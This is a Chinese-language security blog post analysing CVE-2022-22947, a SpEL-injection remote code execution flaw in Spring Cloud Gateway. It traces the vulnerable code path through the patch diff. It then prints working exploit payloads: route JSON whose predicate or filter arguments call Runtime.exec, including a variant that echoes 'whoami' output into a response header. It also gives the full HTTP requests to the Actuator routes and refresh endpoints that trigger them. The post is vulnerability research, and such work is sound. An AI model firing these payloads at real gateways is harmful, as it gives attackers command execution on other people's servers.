原创 | Spring Cloud GateWay CVE-2022-22947 SPEL RCE
点击蓝字
关注我们
漏洞简介
Spring Cloud Gateway是Spring Cloud官方推出的第二代网关框架,取代Zuul网关。网关作为流量的,在微服务系统中有着非常作用,网关常见的功能有路由转发、权限校验、限流控制等作用。当启用、暴露和不安全的 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序容易受到代码注入攻击。远程攻击者可以发出恶意制作的请求,允许在远程主机上进行任意远程执行。
影响版本
Spring Cloud Gateway
3.1.0
3.0.0 to 3.0.6
旧的不受支持的版本
漏洞分析
Predicate
通过 github 上的 commits 记录,定位到漏洞修补代码 如果想要利用 github 比较两个版本的差异,可以构造链接
https://github.com/spring-cloud/spring-cloud-gateway/compare/v3.1.0...v3.1.1?diff=split
spring-cloud-gateway-server/src/main/java/org/springframework/cloud/gateway/support/ShortcutConfigurable.java#getValue
中利用 GatewayEvaluationContext
替换了原本的 StandardEvaluationContext
来执行spel 表达式GatewayEvaluationContext
实际上调用的是 SimpleEvaluationContext
方法StandardEvaluationContext
和 SimpleEvaluationContext
都是执行 Spring 的 SpEL 表达式的接口。SpEL 提供的两个 EvaluationContext ,区别如下:
SimpleEvaluationContext
-针对不需要 SpEL 语言语法的全部范围并且应该受到有意限制的表达式类别,公开 SpEL 语言特性和配置选项的子集。
StandardEvaluationContext
- 公开全套 SpEL 语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。
SimpleEvaluationContext
旨在仅支持 SpEL 语言语法的一个子集。它不包括 Java类型引用、构造函数 和 bean引用。所以说指定正确 EvaluationContext ,是防止SpEl表达式注入漏洞产生的首选。
因为采用 StandardEvaluationContext
而产生的 SpEL 注入 也存在历史漏洞 CVE-2018-1273
org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue
可以看到判断 rawValue 的值不为空且以 #{
为开头 }
为结尾时,会进入到不安全的 SpEL 解析方法。
寻找调用 getValue
的位置,四处均在 ShortcutConfigurable
的接口类中的 枚举类ShortcutType
中
枚举类ShortcutType
的三个枚举值中重写了 normalize
方法
org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType#normalize
ShortcutType
找出其中调用 normalize
方法org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normalizeProperties
通过分析代码可知 normalizeProperties
中所对应的 this.properties
就对应着最终 SpEL 表达式中的内容
normalizeProperties
是对 filter 的属性进行解析,会将 filter 的配置属性传入 normalize
中,最后进入 getValue 执行 SpEL 表达式造成 SpEL 表达式注入。
向上寻找 normalizeProperties
的调用
org.springframework.cloud.gateway.support.ConfigurationService.AbstractBuilder#bind
properties
的值由 predicate.getArgs()
赋予org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#combinePredicates
最后的触发与路由对应的 Predicate 有关,spring cloud gateway 通过谓词(Predicate)来匹配来自用户的请求,不同的谓词对应着不同的效果。
但是通过修改配置文件能叫 RCE 吗
所以还是要正向分析,spring-cloud-gateway 可以通过 Actuator API 在网关中创建和删除路由
{
"id": "first_route",
"predicates": [{
"name": "Path",
"args": {"_genkey_0":"#{T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")}"}
}],
"filters": [],
"uri": "https://www.uri-destination.org",
"order": 0
}
http://127.0.0.1:8080/actuator/gateway/refresh
回显方法
{
"id": "first_route",
"predicates": [{
"name": "Path",
"args": {"_genkey_0":"#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"}
}],
"filters": [],
"uri": "https://www.uri-destination.org",
"order": 0
}
Filters
在另一条链路中发现,通过路由对应的 Filters 也是可以触发漏洞org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#loadGatewayFilters
所以通过构造这样的 poc 也是可以的
{"id":"first_route",
"predicates": [],"filters":[
{
"name":"RewritePath",
"args":{
"test":"#{T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")}"
}
}
],
"uri": "https://www.uri-destination.org",
"order": 0
}
详细分析一下为什么需要如此构造
org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint#save
validateRouteDefinition
org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint#validateRouteDefinition会判断 Filters 对应的 name 是否存在
anyMatch:判断的条件里,任意一个元素成功,返回true allMatch:判断条件里的元素,所有的都是,返回true noneMatch:与allMatch相反,判断条件里的元素,所有的都不是,返回true
for(int i=0;i<this.GatewayFilters.size();i++){ System.out.println(GatewayFilters.get(i).name()); }
name 满足其中的任意一个都是可以的
回显方法
将配置内容添加到了响应请求头
{
"id": "test",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
除此之外,这些都是可以的
AddRequestHeader
MapRequestHeader
AddResponseHeader
SetRequestHeader
...
漏洞复现
POST /actuator/gateway/routes/testing HTTP/1.1
Host: 127.0.0.1:8080
Content-Type:application/json
Content-Length: 187
{"id":"testing","filters":[
{
"name":"RewritePath",
"args":{
"test":"#{T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")}"
}
}
]
}
POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:8080
Content-Type:application/json
往期推荐